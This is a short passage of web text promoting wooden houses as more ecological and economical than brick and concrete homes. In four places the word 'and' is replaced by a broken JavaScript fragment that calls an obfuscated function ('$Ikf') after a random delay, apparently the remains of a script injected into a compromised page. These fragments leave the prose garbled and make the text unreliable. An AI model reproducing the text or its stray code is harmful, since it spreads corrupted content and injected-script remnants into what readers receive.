Wooden houses are a more ecological andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and economic alternative than homes made of traditional brick andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and concrete. … These wooden homes are made from natural, non-petroleum materials that are recyclable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and biodegradable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and are also considered ‘ecological’.